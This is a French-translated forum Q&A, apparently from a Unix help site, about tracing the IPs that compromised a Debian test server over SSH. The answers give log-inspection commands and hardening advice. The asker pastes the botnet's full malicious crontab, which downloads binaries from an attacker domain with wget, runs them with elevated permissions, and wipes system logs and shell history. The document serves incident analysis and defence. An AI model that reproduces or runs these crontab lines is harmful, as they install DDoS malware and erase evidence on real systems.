Historique des adresses IP ayant accédé à un serveur via ssh
Il est venu à mon attention qu'un de mes serveurs a été piraté et infecté par un botnet chinois connu.
Il s'agissait d'un prototype/d'une machine virtuelle de test avec sa propre IP statique (adresse américaine), donc aucun mal n'a été causé (il m'a juste fallu un certain temps pour le comprendre).
Maintenant, je voudrais savoir quel IP/s a été utilisé pour l'intrusion pour savoir si l'attaque provenait de Chine.
Existe-t-il un moyen d'afficher un historique des connexions reçues sur ssh sur le serveur?
Edit: Le système est Linux Debian 7
Regardez la sortie de la commande last et tout ce qui a une adresse IP ou un nom d'hôte au lieu d'un espace vide est entré sur le réseau. Si sshd est la seule façon de le faire sur ce système, alors c'est parti.
Alternativement (s'il s'agit de Linux), vous pouvez vérifier /var/log/secure (sur les distributions basées sur RH) ou /var/log/auth.log (sur les distributions basées sur Debian) où sshd gardera généralement une trace des connexions établies même si elles n'aboutissent pas à des connexions réussies (qui atteignent utmp/wtmp, qui est ce que last va lire). Exemple:
Apr 3 16:21:01 xxxxxxvlp05 sshd[6266]: Connection closed by xxx.xxx.13.76
...
Apr 3 09:09:49 xxxxxxvlp05 sshd[26275]: Failed password for invalid user __super from xxx.xxx.13.76 port 45229 ssh2
L'IIRC Solaris sshd (qui n'est pas nécessairement le sshd d'OpenSSH) enregistrera ces informations dans /var/adm/messages
MODIFIER:
@derobert fait un excellent point. Il est important de se rappeler que sur n'importe quel système, si votre compte de superutilisateur est compromis, tous les paris sont désactivés car les fichiers journaux tels que /var/log/wtmp ou /var/adm/messages peut être modifié par l'attaquant. Cela peut être atténué si vous placez les journaux hors serveur vers un emplacement sécurisé.
Par exemple, dans un magasin où je travaillais, nous avions une machine "Audit Vault" qui était sécurisée de manière à ne recevoir que les fichiers journaux d'audit des différents serveurs du centre de données. Je recommanderais d'avoir une configuration similaire à l'avenir (puisque "j'ai une machine de test" sonne comme si vous fonctionniez dans un grand magasin)
Existe-t-il un moyen d'afficher un historique des connexions reçues sur ssh sur le serveur?
Cela devrait vous donner une liste:
$ zgrep sshd /var/log/auth.log* | grep rhost | sed -re 's/.*rhost=([^ ]+).*/\1/' | sort -u
Ensuite, vous pouvez utiliser geoiplookup à partir du geoip-bin package pour passer du nom d'hôte ou de l'adresse IP au pays.
Eh bien, comme prévu, et comme @Joel Davis l'a dit, tous les journaux ont été effacés, mais il y avait un fichier mentionné par @Ramesh qui a tenté d'accéder à l'utilisateur root mais n'a pas pu entrer le mot de passe correct plusieurs fois, puis la déconnexion pour trop de nouvelles tentatives.
J'ai fait un traceroute sur trois des adresses et deux viennent de Chine et l'autre du Pakistan; ce sont les IP:
221.120.224.179
116.10.191.218
61.174.51.221
Plus d'informations sur le botnet qui a été injecté dans le serveur après avoir été compromis:
Les pirates modifient crontab pour exécuter 7 exécutables qui, à chaque fois, utiliseront tout le CPU, maximiseront la sortie réseau des serveurs, puis mourront simplement. Ils ajoutent également le fichier Lisez-moi à crontab 100 fois pour masquer les lignes ajoutées, donc quand vous faites crontab -l vous serez spammé par le readme avec des lignes cachées. Pour contourner cela, j'ai utilisé crontab -l | grep -v '^#' et voici le résultat de cette commande:
*/1 * * * * killall -9 .IptabLes
*/1 * * * * killall -9 nfsd4
*/1 * * * * killall -9 profild.key
*/1 * * * * killall -9 nfsd
*/1 * * * * killall -9 DDosl
*/1 * * * * killall -9 lengchao32
*/1 * * * * killall -9 b26
*/1 * * * * killall -9 codelove
*/1 * * * * killall -9 32
*/1 * * * * killall -9 64
*/1 * * * * killall -9 new6
*/1 * * * * killall -9 new4
*/1 * * * * killall -9 node24
*/1 * * * * killall -9 freeBSD
*/99 * * * * killall -9 kysapd
*/98 * * * * killall -9 atdd
*/97 * * * * killall -9 kysapd
*/96 * * * * killall -9 skysapd
*/95 * * * * killall -9 xfsdx
*/94 * * * * killall -9 ksapd
*/120 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/atdd
*/120 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/cupsdd
*/130 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/kysapd
*/130 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/sksapd
*/140 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/skysapd
*/140 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/xfsdx
*/120 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/ksapd
*/120 * * * * cd /root;rm -rf dir Nohup.out
*/360 * * * * cd /etc;rm -rf dir atdd
*/360 * * * * cd /etc;rm -rf dir ksapd
*/360 * * * * cd /etc;rm -rf dir kysapd
*/360 * * * * cd /etc;rm -rf dir skysapd
*/360 * * * * cd /etc;rm -rf dir sksapd
*/360 * * * * cd /etc;rm -rf dir xfsdx
*/1 * * * * cd /etc;rm -rf dir cupsdd.*
*/1 * * * * cd /etc;rm -rf dir atdd.*
*/1 * * * * cd /etc;rm -rf dir ksapd.*
*/1 * * * * cd /etc;rm -rf dir kysapd.*
*/1 * * * * cd /etc;rm -rf dir skysapd.*
*/1 * * * * cd /etc;rm -rf dir sksapd.*
*/1 * * * * cd /etc;rm -rf dir xfsdx.*
*/1 * * * * chmod 7777 /etc/atdd
*/1 * * * * chmod 7777 /etc/cupsdd
*/1 * * * * chmod 7777 /etc/ksapd
*/1 * * * * chmod 7777 /etc/kysapd
*/1 * * * * chmod 7777 /etc/skysapd
*/1 * * * * chmod 7777 /etc/sksapd
*/1 * * * * chmod 7777 /etc/xfsdx
*/99 * * * * Nohup /etc/cupsdd > /dev/null 2>&1&
*/100 * * * * Nohup /etc/kysapd > /dev/null 2>&1&
*/99 * * * * Nohup /etc/atdd > /dev/null 2>&1&
*/98 * * * * Nohup /etc/kysapd > /dev/null 2>&1&
*/97 * * * * Nohup /etc/skysapd > /dev/null 2>&1&
*/96 * * * * Nohup /etc/xfsdx > /dev/null 2>&1&
*/95 * * * * Nohup /etc/ksapd > /dev/null 2>&1&
*/1 * * * * echo "unset MAILCHECK" >> /etc/profile
*/1 * * * * rm -rf /root/.bash_history
*/1 * * * * touch /root/.bash_history
*/1 * * * * history -r
*/1 * * * * cd /var/log > dmesg
*/1 * * * * cd /var/log > auth.log
*/1 * * * * cd /var/log > alternatives.log
*/1 * * * * cd /var/log > boot.log
*/1 * * * * cd /var/log > btmp
*/1 * * * * cd /var/log > cron
*/1 * * * * cd /var/log > cups
*/1 * * * * cd /var/log > daemon.log
*/1 * * * * cd /var/log > dpkg.log
*/1 * * * * cd /var/log > faillog
*/1 * * * * cd /var/log > kern.log
*/1 * * * * cd /var/log > lastlog
*/1 * * * * cd /var/log > maillog
*/1 * * * * cd /var/log > user.log
*/1 * * * * cd /var/log > Xorg.x.log
*/1 * * * * cd /var/log > anaconda.log
*/1 * * * * cd /var/log > yum.log
*/1 * * * * cd /var/log > secure
*/1 * * * * cd /var/log > wtmp
*/1 * * * * cd /var/log > utmp
*/1 * * * * cd /var/log > messages
*/1 * * * * cd /var/log > spooler
*/1 * * * * cd /var/log > sudolog
*/1 * * * * cd /var/log > aculog
*/1 * * * * cd /var/log > access-log
*/1 * * * * cd /root > .bash_history
*/1 * * * * history -c
Comme vous pouvez le voir, tous les fichiers journaux sont effacés, c'est pourquoi je n'ai pas pu récupérer beaucoup d'informations.
Il a fait tomber l'ensemble du serveur (toutes les VM) provoquant des délais d'attente sur les sites et sur proxmox. Voici un graphique (les pointes indiquent le botnet activement DDoS'ing et notez le réseau hors): 
En conséquence, je vais ajouter toute la gamme d'adresses IP chinoises à un pare-feu pour bloquer toutes les connexions (je n'ai pas d'utilisateurs chinois, donc je m'en fiche), je vais également interdire les connexions root distantes et utiliser de longs complexes mots de passe. Je vais aussi très probablement changer le port ssh et utiliser également des clés ssh privées.
De this réponse, je vois les informations ci-dessous.
En parlant de serveurs SSH, je vais vous donner des solutions en ligne de commande.
Suivez les connexions et déconnexions des utilisateurs . C'est simple, le fichier /var/log/auth.log devrait contenir ces informations.
Suivez l'activité de ces utilisateurs : S'ils sont quelque peu innocents, vous pouvez vérifier le fichier .bash_history dans leur répertoire personnel. Vous verrez une liste des commandes qu'ils ont exécutées. Le problème est bien sûr qu'ils peuvent supprimer ou modifier ce fichier.
Empêcher les utilisateurs de supprimer les journaux : les utilisateurs ne devraient pas pouvoir toucher auth.log. Afin de les empêcher de jouer avec bash_history vous devez faire quelques trucs.
Et si l'utilisateur parvient à obtenir un accès root? : Vous êtes foutu. A moins qu'il ne se trompe, il pourra cacher tous ses pas.
De plus, à partir de la réponse this , nous pouvons voir l'adresse IP d'un client en utilisant le SSH_CLIENT variable.
Aussi de this answer, je vois que l'historique ssh pourrait être stocké dans ces fichiers.
En plus de /var/log/lastlog, il y a 3 fichiers dans /var/run et /var/log: utmp, wtmp et btmp, qui contiennent des informations sur les connexions actuelles (et des informations supplémentaires), les connexions historiques et ayant échoué. Voir wiki pour une description détaillée. Vous ne pouvez pas modifier les fichiers avec des éditeurs normaux, mais vous pouvez les effacer.
Pour voir uniquement les tentatives de connexion réussies avec mot de passe:
zgrep sshd /var/log/auth.log* -h |grep -F 'Accepted'
La commande la plus simple pour connecter les 10 derniers utilisateurs à la machine est last|head.
Pour obtenir tous les utilisateurs, utilisez simplement la commande last
Cette machine a été compromise. Cela signifie que les données qu'il contient, historiques ou actuelles, ne peuvent plus être fiables.
Bref, la réponse est non. Vous ne pouvez pas être sûr d'avoir trouvé l'adresse d'origine à partir d'un fichier journal enregistré sur cette machine.
Essuyez et réinstallez. Et patch.
pour debian, la recherche de test est libellée légèrement différente
zgrep sshd /var/log/auth.log* -h |grep -F 'session opened for user'